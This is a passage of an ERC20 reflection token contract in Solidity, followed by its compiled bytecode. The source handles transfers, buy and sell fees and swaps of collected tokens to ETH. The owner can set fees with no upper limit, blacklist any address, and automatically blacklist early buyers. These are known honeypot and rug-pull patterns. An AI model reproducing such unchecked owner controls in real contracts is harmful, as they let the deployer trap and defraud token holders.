_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600681526020017f4d494b4153410000000000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600681526020017f4d494b4153410000000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6002600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781